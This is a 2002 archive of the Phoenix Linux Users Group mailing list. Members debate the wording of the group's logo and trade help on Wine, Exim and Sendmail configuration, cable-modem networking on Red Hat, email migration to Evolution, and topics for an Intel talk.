and yours is only the second comment about "Users" vs "User". > how does the group feel about this isssue? > > slr > > ----- Original Message ----- > From: "William Lindley" > To: > Sent: Saturday, June 29, 2002 6:33 AM > Subject: Re: PLUG Logo Update! > > > > Our banner says "Users" Group... let's be consistent at least. > > > > The logo should say "Users". > > > > \\/ > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ------------------------------------------------------------------- "We need commonsense judges who understand that our rights were derived from God," - President George W. Bush, 27 June 2002 http://www.nandotimes.com/politics/story/448758p-3591873c.html ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 19:11:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Sun, 30 Jun 2002 15:11:44 -0400 (EDT) Subject: Grammar, Was: PLUG Logo Update! In-Reply-To: <200206301825.g5UIP0MY010144@mail.infinet-is.com> Message-ID: IMHO, the two grammatically rational ones are "User" and "Users'": User Group: a group whose elements are of type "User" Users' Group: a group owned by many users Users Group: a group whose elements are of type array of users User's Group: a group owned by a single user I would lean towards "User" as it has the least characters, and is the most used of the four options according to Google: "user group": 982,000 "users group" & "users' group": 752,000 (can't get them separated) "user's group": 79,900 On Sun, 30 Jun 2002, Robert N. Eaton wrote: > On Saturday 29 June 2002 03:38 pm, you wrote: > > Hmm... Any English professors in the audience? We could do: > > > > User > > Users > > User's > > Users' > > > > All of these examples can be found in use by other Linux groups on the > > 'net. We're a group of "Linux users," but we're also a "user group." So > > I guess it depends on where you put the emphasis on the phrase. The Linux > > group in Portland uses: > > "Portland Linux Unix Group" which gets rid of the "is it plural or not" > > problem all together. ;-) > > ~M > If you want to get excessively grammatical: > > User = noun, sungular > Users= noun, plural > User's = noun, singular, possessive > Users' = noun, plural, possessive > > Any of the four could grammatically appear before "Group" . > > "User's" implies "only one". Sort of "I am the only Linux user." > "Users'" implies "many." "I am one of many Linux users." > "User" and "Users" act as noun adjuncts; that is, nouns acting as adjectives > telling "what kind of" group just as in "school house" , "school" tells "what > kind of house. > > My choice would be "Users" as it implies multiple users, and lacks the > clutter of the apostrophe, which, in a logo, is really unnecessary. > > -- > Bob Eaton > > Curiosity didn't kill the cat: it was lack of information. > > -- > Bob Eaton > > Curiosity didn't kill the cat: it was lack of information. > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ------------------------------------------------------------------- "We need commonsense judges who understand that our rights were derived from God," - President George W. Bush, 27 June 2002 http://www.nandotimes.com/politics/story/448758p-3591873c.html ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 20:14:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gary Nichols) Date: Sun, 30 Jun 2002 13:14:17 -0700 Subject: Linux and AOL References: <3D1DFB82.80D376EE@cox.net> <001301c21fac$3ad24550$6400a8c0@amd1000> Message-ID: <005101c22072$bb141010$6901a8c0@chimpy> Current AOL clients do not function on linux under wine or codeweavers wine. This is well documented on the codeweavers app database page. I've tried it a few times to coax people off of windows and never been successful. After install the setup program trys to do a few things with networking and blows chunks. I'm sure it won't be this way for long though - give the pace of wine development. ----- Original Message ----- From: "Charlie Bullen" > I wonder if you could use the AOL client for windows on linux with wine. > I've had good results with codeweavers wine and also their crossoveroffice > product. In fact, if I have an AOL disk in my mailbox today I may just give > it a try. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 20:25:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sun, 30 Jun 2002 13:25:03 -0700 Subject: Grammar, Was: PLUG Logo Update! References: Message-ID: <3D1F691F.6A32682B@leml.asu.edu> there is also the drug addiction analogy of "users"... but I did not say that... back to my regularily scheduled writing... EBo -- Robert Bushman wrote: > > IMHO, the two grammatically rational ones are "User" and "Users'": > > User Group: a group whose elements are of type "User" > Users' Group: a group owned by many users > > Users Group: a group whose elements are of type array of users > User's Group: a group owned by a single user > > I would lean towards "User" as it has the least characters, > and is the most used of the four options according to Google: > "user group": 982,000 > "users group" & "users' group": 752,000 (can't get them separated) > "user's group": 79,900 > > On Sun, 30 Jun 2002, Robert N. Eaton wrote: > > > On Saturday 29 June 2002 03:38 pm, you wrote: > > > Hmm... Any English professors in the audience? We could do: > > > > > > User > > > Users > > > User's > > > Users' > > > > > > All of these examples can be found in use by other Linux groups on the > > > 'net. We're a group of "Linux users," but we're also a "user group." So > > > I guess it depends on where you put the emphasis on the phrase. The Linux > > > group in Portland uses: > > > "Portland Linux Unix Group" which gets rid of the "is it plural or not" > > > problem all together. ;-) > > > ~M > > If you want to get excessively grammatical: > > > > User = noun, sungular > > Users= noun, plural > > User's = noun, singular, possessive > > Users' = noun, plural, possessive > > > > Any of the four could grammatically appear before "Group" . > > > > "User's" implies "only one". Sort of "I am the only Linux user." > > "Users'" implies "many." "I am one of many Linux users." > > "User" and "Users" act as noun adjuncts; that is, nouns acting as adjectives > > telling "what kind of" group just as in "school house" , "school" tells "what > > kind of house. > > > > My choice would be "Users" as it implies multiple users, and lacks the > > clutter of the apostrophe, which, in a logo, is really unnecessary. > > > > -- > > Bob Eaton > > > > Curiosity didn't kill the cat: it was lack of information. > > > > -- > > Bob Eaton > > > > Curiosity didn't kill the cat: it was lack of information. > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ------------------------------------------------------------------- > "We need commonsense judges who understand that our rights were > derived from God," - President George W. Bush, 27 June 2002 > http://www.nandotimes.com/politics/story/448758p-3591873c.html > ------------------------------------------------------------------- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 20:27:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Sun, 30 Jun 2002 13:27:58 -0700 Subject: Linux Terminal Server References: <000801c22044$0ae21990$6400a8c0@amd1000> Message-ID: <3D1F69CE.33BD49B6@earthlink.net> I used my son's old Sony Viao and it works well. Just haven't had time to ensure I can use everything like I want. The old case still has the CDROM and floppy. Don't know about getting to them yet. > Charlie Bullen wrote: > > Is there any reason why a non stipped down computer wouldn't work as a workstation. I don't have an extra old compter sitting around. Could I use the boot from floppy option and then leave the nomral operatining system intact but unused? > > My understanding is that once the boot over the network occurs, all disk activity is then on the server. If this can be done, with no impact on the operating system installed on the workstation, my employer will let me proceed. > > I have been having some real good results using my linuxbox at work and 1 of my co-workers is real interested in using linux for for 2 reasons. First the greater lack of virus vulnerablility and second, the virtual desktops, which allows each of our general types of work to be isolatedin its own virtual desktop. Thisis a real advantage as each catagory sometimes results in as many as 4 browser windows and 1 or 2 other applications running. All done on one desktop gets unmanageable real fast. > > Regards, > > > Charlie From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 22:54:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sun, 30 Jun 2002 15:54:16 -0700 (MST) Subject: Grammar, Was: PLUG Logo Update! In-Reply-To: <200206301825.g5UIP0MY010144@mail.infinet-is.com> Message-ID: Am 30. Jun, 2002 schwätzte Robert N. Eaton so: > My choice would be "Users" as it implies multiple users, and lacks the > clutter of the apostrophe, which, in a logo, is really unnecessary. We might like "PLU'G", though :). PFUG, Phoenix Free Unix Group, is still an option. That solves issue by getting rid of it. We'd have a new prob then. Should it be PFUG or PF*G, Phoenix Free *NIX Group? ciao, der.hans -- # https://www.LuftHans.com/ # "The purpose of IT is to seamlessly and transparently provide the other # 9/10's of the [iceberg] for people who need to work with chunks # of floating ice." -- Strata Rose Chalup From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 22:57:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sun, 30 Jun 2002 15:57:24 -0700 (MST) Subject: Configuring Exim to work with K-mail for multiple users In-Reply-To: <3D1F31D1.4C0B3791@cox.net> Message-ID: Am 30. Jun, 2002 schwätzte Lee Einer so: > I am trying to get Kmail up and running, and am having difficulties > getting exim configured correctly. What should the Qualify domain and > Local domains be set to in my exim.conf file? qualify_domains should be the hostname you want mail to come from. It should either be the local hostname or your domain name, e.g. either myhost.LuftHans.com or LuftHans.com for me. local_domains are those domains for which the final destination for mail is the machine you're configuring. Relays are configged elsewhere. ciao, der.hans -- # https://www.LuftHans.com/ # C'est la Net - der.hans From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 22:45:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sun, 30 Jun 2002 15:45:11 -0700 Subject: Grammar, Was: PLUG Logo Update! References: Message-ID: <3D1F89F7.2A543FA@leml.asu.edu> "der.hans" wrote: > > Am 30. Jun, 2002 schwätzte Robert N. Eaton so: > > > My choice would be "Users" as it implies multiple users, and lacks the > > clutter of the apostrophe, which, in a logo, is really unnecessary. > > We might like "PLU'G", though :). > > PFUG, Phoenix Free Unix Group, is still an option. That solves issue by > getting rid of it. We'd have a new prob then. Should it be PFUG or PF*G, > Phoenix Free *NIX Group? they would be the perfect group to host *NIX FAQ's and FUQ's (frequently unanswered questions). EBo -- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 23:41:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (David Fleming) Date: 30 Jun 2002 16:41:57 -0700 Subject: Grammar, Was: PLUG Logo Update Message-ID: <1025480523.3342.11.camel@localhost.localdomain> It's interesting that most everyone infers a possessive in the phrase (i.e., a group belonging to one or more users). Another way to see it would be simply as a 'group of users, in which case "Phoenix Linux Users Group" is exactly right (i.e., a group of Linux users from Phoenix). And doesn't it really all depend on what the meaning of "is," is? ($0.02 from a recent list subscriber) D.Fleming azdf@cox.net From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 18:49:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Sun, 30 Jun 2002 14:49:42 -0400 (EDT) Subject: PLUG Logo - serving suggestion In-Reply-To: <3D1E066A.5D0E0DB8@leml.asu.edu> Message-ID: On Sat, 29 Jun 2002, John (EBo) David wrote: > > Didn't I see a movie preview where those prehistoric creatures return to life > > and come swooping down on Redmond breathing fire? > > naaa... That would be JurasicTux. Penguinelli is the southwestern > opensorce hunchback coder... no one remembers when Tux first showed up, > but he's been coding ever since ;-) I think you mean "southwestern opensource bellringer coder". http://makeashorterlink.com/?S19B35A21 :) ------------------------------------------------------------------- "We need commonsense judges who understand that our rights were derived from God," - President George W. Bush, 27 June 2002 http://www.nandotimes.com/politics/story/448758p-3591873c.html ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 22:59:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Raymond Cantwell) Date: 30 Jun 2002 15:59:37 -0700 Subject: OpenOffice VS StarOffice VS MSOffice Message-ID: <1025477979.2533.4.camel@vdsl-130-13-154-173.phnx.uswest.net> Hey all, Just seeing what the consensus is on office suites. I have access to all three and wanted to see what all the sages out there thought. Ray malbojia@qwest.net From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 01:58:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Fri, 31 May 2002 21:58:27 -0400 Subject: internet access References: <004401c208fb$799e0d90$91ad0244@pinchebaboso> Message-ID: <3CF82A43.890BD588@georgetoft.com> > Poorboyphx wrote: > > i have a newlinux7.2 and dont know how to attach to the internet please > helpp!!!!!!! Eh Brah, You need to give us more information than that. Are you using a dial-up modem (internal or external?), cable modem, ADSL, VDSL, WHAT??? Next, you need to tell us what you have done so far, and what the results were, including error messages. Regards, George From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 02:25:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Poorboyphx) Date: Fri, 31 May 2002 19:25:11 -0700 Subject: internet Message-ID: <000801c20913$8ed81670$91ad0244@pinchebaboso> This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C208D8.E1E7FAF0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ok here goes!! I have linux 7.2 redhat. I need to connect to the = internet!! I have a cable modem with a soho ethernet adapter to the = computer. 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------=_NextPart_000_0005_01C208D8.E1E7FAF0-- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 02:51:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob Cober) Date: Fri, 31 May 2002 19:51:19 -0700 Subject: Intel presentation content suggestions? References: <200205302056.53263.alandd@consultpros.com> Message-ID: <00f701c20917$34eadc20$c801a8c0@sctdl1.az.home.com> How about a presentation comparing their compiler to gcc? Also - don't they have some good profiling tools - vtune? ----- Original Message ----- From: Alan Dayley To: Sent: Thursday, May 30, 2002 8:56 PM Subject: Intel presentation content suggestions? > I got this email today from Mike at Intel. They are confirmed for the > presentation on the East Side on June 13th. > > He asks at the end for "any particular topics or areas of interest" we would > like him to cover about Intel's use of Linux. Rather than give him my > guesses on what you want (unless you all want what I want), I thought I would > pass the question on to you. > > Well, what do you want him to talk about? I'll pass the answers on to him. > > Alan > > ---------- Forwarded Message ---------- > > Subject: RE: Phoenix Linux Users Group info > Date: Wed, 29 May 2002 15:03:35 -0700 > From: "Michael" > > ... > > We will be presenting on June 13th. > > We have scraped up a few things to give away, but I am working on a little > more. > > So far we havent come up with an agenda. > > I would expect it would cover things like: > > Intel's Usage of Linux: > Desktop, batch processing, Infrastructure usage, etc > > Also we will discuss mass installation's of linux ( ie building hundreds of > machines at a time ). > > I could also talk about Linux on ia64 if they wish. > > Are there any particular topics or areas of interest you believe your > members would like to see not covered about? > > MIchael > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 03:40:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Fri, 31 May 2002 23:40:53 -0400 Subject: internet References: <000801c20913$8ed81670$91ad0244@pinchebaboso> Message-ID: <3CF84245.FC1E70D2@georgetoft.com> > Poorboyphx wrote: > > ok here goes!! I have linux 7.2 redhat. I need to connect to the internet!! > I have a cable modem with a soho ethernet adapter to the computer. I'm with > cox@home and i need helphooking up to the internet. I have the ip addresses > and such but dont know where to configure this system to access the internet. > ipaddress 68.2.173.145 > subnet mask 255.255.255.0 > default gateway 68.2.173.1 > dhcp server 172.19.73.16 > dns servers 68.2.16.30 and 68.1.208.30 > > how do i enter this information so that i may access the internet with a cable > modem through a usb ethernet connection (soho) this is really all the info > that i know i would appreciate anyone who might help. You can even call me at > 480-988-2106! thanks danny poorman! OMFG!! Can someone on the list help with this? This page gives some pointers: http://www.linux-usb.org/USB-guide/x332.html This document has lots of info: http://www.linux-usb.org/USB-guide/ USB-guide.ps Another page I came across says you have to have usb-ohci, usbcore and CDCEther modules loaded (use lsmod to see). If you have the USB modem working, the files you seek are in: /etc/sysconfig/network-scripts/ I have no idea what the name is, but it will start with ifcfg- and have your device name in it. For example, ifcfg-eth0 (for ethernet) would contain: DEVICE=eth1 ONBOOT=yes BOOTPROTO=static IPADDR=10.0.1.1 NETMASK=255.255.255.0 GATEWAY=10.0.0.1 IF you have a static IP (put your info above). If you use DHCP (most likely?), then it will look like this: DEVICE=eth0 ONBOOT=yes BOOTPROTO=dhcp Good Luck! George From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 04:03:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Roderick Ford) Date: Fri, 31 May 2002 21:03:49 -0700 Subject: internet References: <000801c20913$8ed81670$91ad0244@pinchebaboso> <3CF84245.FC1E70D2@georgetoft.com> Message-ID: <3CF847A5.9020004@asu.edu> George, I called him, and got no answer...and his voicemail was full. I wrote email instructions. But, alas, haven't heard anything back. I guess he'll contact us again when he is ready. Rod George Toft wrote: >>Poorboyphx wrote: >> >>ok here goes!! I have linux 7.2 redhat. I need to connect to the internet!! >>I have a cable modem with a soho ethernet adapter to the computer. I'm with >>cox@home and i need helphooking up to the internet. I have the ip addresses >>and such but dont know where to configure this system to access the internet. >>ipaddress 68.2.173.145 >>subnet mask 255.255.255.0 >>default gateway 68.2.173.1 >>dhcp server 172.19.73.16 >>dns servers 68.2.16.30 and 68.1.208.30 >> >>how do i enter this information so that i may access the internet with a cable >>modem through a usb ethernet connection (soho) this is really all the info >>that i know i would appreciate anyone who might help. You can even call me at >>480-988-2106! thanks danny poorman! > > > OMFG!! > > Can someone on the list help with this? > > This page gives some pointers: > http://www.linux-usb.org/USB-guide/x332.html > > This document has lots of info: > http://www.linux-usb.org/USB-guide/ > USB-guide.ps > > Another page I came across says you have to have usb-ohci, usbcore and CDCEther > modules loaded (use lsmod to see). > > > If you have the USB modem working, the files you seek are in: > /etc/sysconfig/network-scripts/ > I have no idea what the name is, but it will start with ifcfg- and have your > device name in it. For example, ifcfg-eth0 (for ethernet) would contain: > DEVICE=eth1 > ONBOOT=yes > BOOTPROTO=static > IPADDR=10.0.1.1 > NETMASK=255.255.255.0 > GATEWAY=10.0.0.1 > IF you have a static IP (put your info above). > > If you use DHCP (most likely?), then it will look like this: > DEVICE=eth0 > ONBOOT=yes > BOOTPROTO=dhcp > > Good Luck! > > George > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 04:45:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Patrick Fleming EA) Date: Fri, 31 May 2002 21:45:54 -0700 (MST) Subject: sendmail / multiple domains question In-Reply-To: <005301c208fd$b6497250$5300a8c0@charlie> Message-ID: Going out on a limb here... did you try restarting sendmail? On Fri, 31 May 2002, linux @esaravana wrote: > When I do 'dig' on mail.2nddomain.com, www.2nddomain.com it works, but it > dowsn't work when I do 2nddomain.com. > > Same case for the mail.1stdomain.com, www.1stdomain.com, but not for > 1stdomain.com. > > So, my take is DNS is set properly. But could be that my sendmail is not > using the DNS. How do I make sure, my sendmail is using my DNS. > > Sundar > > > ----- Original Message ----- > From: "Patrick Fleming EA" > To: > Sent: Friday, May 31, 2002 3:51 PM > Subject: Re: sendmail / multiple domains question > > > > On Fri, 31 May 2002, Sundar wrote: > > > > > Hello, > > > > > > I am trying to host multiple domains on my mail server. So, I updated > > > virtusertable, generics-domains, genericstable. I am able to send and > > > recive from olduser@1stdomain.com. But I am only able to receive mail > > > from newuser@2nddomain.com, not send from the account. > > > > > > > My setup also has local-host-names. The error below seems to indicate that > > the machine can't resolve 2nddomain.com. Did you place an entry in the DNS > > tables on the machine trying to send mail for 2nddomain.com? If it doesn't > > run DNS set it in /etc/hosts. > > > > > > > > > ----- The following addresses had permanent fatal errors ----- > > > (reason: 501 5.1.8 ... Domain of sender > address newuser@2nddomain.com does not exist) > > > > > > > > > > > > Following are the files I modified. > > > 2nddomain is the domain I am trying to add > > > > > > Virtusertable > > > > -------------------------------------------------------------------------- > -- > > > newuser@1stdomain.com error:nouser send mail to new@2nddomain.com > > > newuser@2nddomain.com newuser > > > olduser@2nddomain.com error:nouser user not found > > > olduser@istdomain.com olduser > > > > > > generics-domains(copied local-host-names) > > > > -------------------------------------------------------------------------- > -- > > > 1stdomain.com > > > 2nddomain.com > > > > > > genericstable > > > > -------------------------------------------------------------------------- > -- > > > newuser newuser@2nddomain.com > > > olduser olduser@istdomain.com > > > > > > > > > Sundar > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > -- > > Patrick Fleming, EA > > http://myhdvest.com/patrickfleming > > Licensed to represent taxpayers > > before Exam, Appeals, and Conference > > divisions of the IRS > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Patrick Fleming, EA http://myhdvest.com/patrickfleming Licensed to represent taxpayers before Exam, Appeals, and Conference divisions of the IRS From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 05:36:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 31 May 2002 22:36:12 -0700 (PDT) Subject: Intel presentation content suggestions? In-Reply-To: <200205302056.53263.alandd@consultpros.com> Message-ID: I'm mostly interested in how Intel is making use of Linux within the company. Are any of their production servers running Linux? Are any user's workstations running Linux? If not, are there plans in the future for using Linux internally on production systems, and not just for testing network card compatibility, etc.? Does IT have plans to support Linux as a desktop option? If not, why? Thanks, ~M On Thu, 30 May 2002, Alan Dayley wrote: > I got this email today from Mike at Intel. They are confirmed for the > presentation on the East Side on June 13th. > > He asks at the end for "any particular topics or areas of interest" we would > like him to cover about Intel's use of Linux. Rather than give him my > guesses on what you want (unless you all want what I want), I thought I would > pass the question on to you. > > Well, what do you want him to talk about? I'll pass the answers on to him. > > Alan > > ---------- Forwarded Message ---------- > > Subject: RE: Phoenix Linux Users Group info > Date: Wed, 29 May 2002 15:03:35 -0700 > From: "Michael" > > ... > > We will be presenting on June 13th. > > We have scraped up a few things to give away, but I am working on a little > more. > > So far we havent come up with an agenda. > > I would expect it would cover things like: > > Intel's Usage of Linux: > Desktop, batch processing, Infrastructure usage, etc > > Also we will discuss mass installation's of linux ( ie building hundreds of > machines at a time ). > > I could also talk about Linux on ia64 if they wish. > > Are there any particular topics or areas of interest you believe your > members would like to see not covered about? > > MIchael > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 06:02:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Fri, 31 May 2002 23:02:05 -0700 Subject: Intel presentation content suggestions? In-Reply-To: <200205302056.53263.alandd@consultpros.com> References: <200205302056.53263.alandd@consultpros.com> Message-ID: <20020531230205.43323f95.snoogans@qwest.net> I would like to here about thier plans for 64 bit systems. Also advantages, disadvantages, and the like. On Thu, 30 May 2002 20:56:53 -0700 "Alan Dayley" wrote: > I got this email today from Mike at Intel. They are confirmed for the > presentation on the East Side on June 13th. > > He asks at the end for "any particular topics or areas of interest" we would > like him to cover about Intel's use of Linux. Rather than give him my > guesses on what you want (unless you all want what I want), I thought I would > pass the question on to you. > > Well, what do you want him to talk about? I'll pass the answers on to him. > > Alan > > ---------- Forwarded Message ---------- > > Subject: RE: Phoenix Linux Users Group info > Date: Wed, 29 May 2002 15:03:35 -0700 > From: "Michael" > > ... > > We will be presenting on June 13th. > > We have scraped up a few things to give away, but I am working on a little > more. > > So far we havent come up with an agenda. > > I would expect it would cover things like: > > Intel's Usage of Linux: > Desktop, batch processing, Infrastructure usage, etc > > Also we will discuss mass installation's of linux ( ie building hundreds of > machines at a time ). > > I could also talk about Linux on ia64 if they wish. > > Are there any particular topics or areas of interest you believe your > members would like to see not covered about? > > MIchael > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 09:58:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 01 Jun 2002 02:58:37 -0700 Subject: sendmail / multiple domains question In-Reply-To: <005301c208fd$b6497250$5300a8c0@charlie> References: <005301c208fd$b6497250$5300a8c0@charlie> Message-ID: <1022925517.8223.6.camel@barney.azapple.com> On Fri, 2002-05-31 at 16:48, linux @esaravana wrote: > When I do 'dig' on mail.2nddomain.com, www.2nddomain.com it works, but it > dowsn't work when I do 2nddomain.com. > > Same case for the mail.1stdomain.com, www.1stdomain.com, but not for > 1stdomain.com. > > So, my take is DNS is set properly. But could be that my sendmail is not > using the DNS. How do I make sure, my sendmail is using my DNS. > ---- almost impossible to make sendmail work without dns. when using dns, it's easy to think that what your desktop sees is what your sever sees but that is only the case if they both point to the same dns server. I often have a situation where my server is exposed to the internet and uses a public dns server and the desktop machines are behind the firewall and point to a local dns server (essential when you use active directory) and so they might not see the same info for things like mx exchanger. So if you are are talking about sendmail resolving domain names, do nslookup/htdig from that server and then the same thing from client machines...they may come up with entirely different answers. Craig From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 10:41:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Sat, 1 Jun 2002 03:41:17 -0700 (PDT) Subject: Motherboard with linux question In-Reply-To: Message-ID: <20020601104117.24497.qmail@web13902.mail.yahoo.com> I recently received pieces to build a new computer, however the motherboard is an all-in-one-board, and I would like some opinions on whether this board would work ok with linux. I will be installing either redhat 7.3 or Mandrake 8.*. It is my understanding that some of these all-in-one-boards can be somewhat difficult to configure. The page with the specs. for this board is: http://www.pcware.com/english/products/PC%20chips%20MB/socket_a/M810LMR/MB_810LMRv5.htm Could some of you tell me if you think I would be ok with this board, or if I should look for a barebones board and add the pieces. I got a 1ghz Duron with it if the chip would make a difference with the decision. Thank You for your time, mike __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 21:51:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (David Uhlman) Date: Sat, 1 Jun 2002 14:51:13 -0700 Subject: I'd like to Evolution instead of Outlook for email and my PalmPilot. References: <000201c207f8$4048c570$6500a8c0@phoenix> Message-ID: <004101c209b6$730fac20$0f01a8c0@workstation> New to plug glad to be here. It will depend somewhat on whether you are using outlook or outlook express. There are two strategies that have worked well for me in the past. If you have a small number of archived messages such as in the 0-10000 range you can use outlook to forward the complete contents of each mail folder as an attachment to yourself and then dl the email into evolution. This works if you have your own mail server and not an isps due to size speed etc. You can easily set up a dummy server on the evolution machince to handle just this one set of messges. Second option is to install mozilla email on the outlook machine and import from outlook into mozilla. Mozilla stores mail in mbox format that is easily readable from evolution using the import --> import as single file evolution feature. Mozilla stores its mail on XP/2k in \Documents and Settings\("Your User Name")\Application Data\Mozilla\("Your Profile Directory")\Mail\imported.mail\ you will have to copy over all the files from that imported.mail directory to a location accessible from evolution. Good luck.Other mail settings such as the addressbook tend to be a little quirky but going outlook->mozilla->evolution you can usually get the most important stuff. Also beware very large attachments, maybe it is time to do a little mail housekeeping anyway. Sincerely, David Uhlman CTO 50km Inc. email(duhlman@50km.com) ----- Original Message ----- From: "Ben" To: Sent: Thursday, May 30, 2002 9:37 AM Subject: I'd like to Evolution instead of Outlook for email and my PalmPilot. > I want to try to make the only major move I need to make away from > Windows. I want to convert my Outlook.pst file into a format that > Evolution will read. I also want to make my Palm m500, a USB PalmPilot, > synchronize with Evolution. I've tried to follow some instructions that > I found on the Net, but haven't been successful yet. > > Has anyone here successfully converted from Outlook to Evolution? > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 14:02:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Sat, 1 Jun 2002 07:02:38 -0700 Subject: Konqueror 3.0.0 question In-Reply-To: <20020601104117.24497.qmail@web13902.mail.yahoo.com> References: <20020601104117.24497.qmail@web13902.mail.yahoo.com> Message-ID: <200206010702.38888.alandd@mindspring.com> For you KDE people out there... I have been enjoying my KDE 3.0 desktop very much! However, I would like to change one aspect of Konqueror back to the old way. This new version of Konqueror remembers every web address I have ever clicked on. I like to type in my "usual" web site addresses. The old Konqueror used to only remember the addresses I actually typed in on the location line and only brings the actual typed in addresses when I start typin the address again. Now it remembers everything and puts up the drop down list full of selections, and the one I want is not always at the top. Is there a setting somewhere that turns off all this extra history and gives back my more direct address options? Alan From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 15:07:30 2002 From: 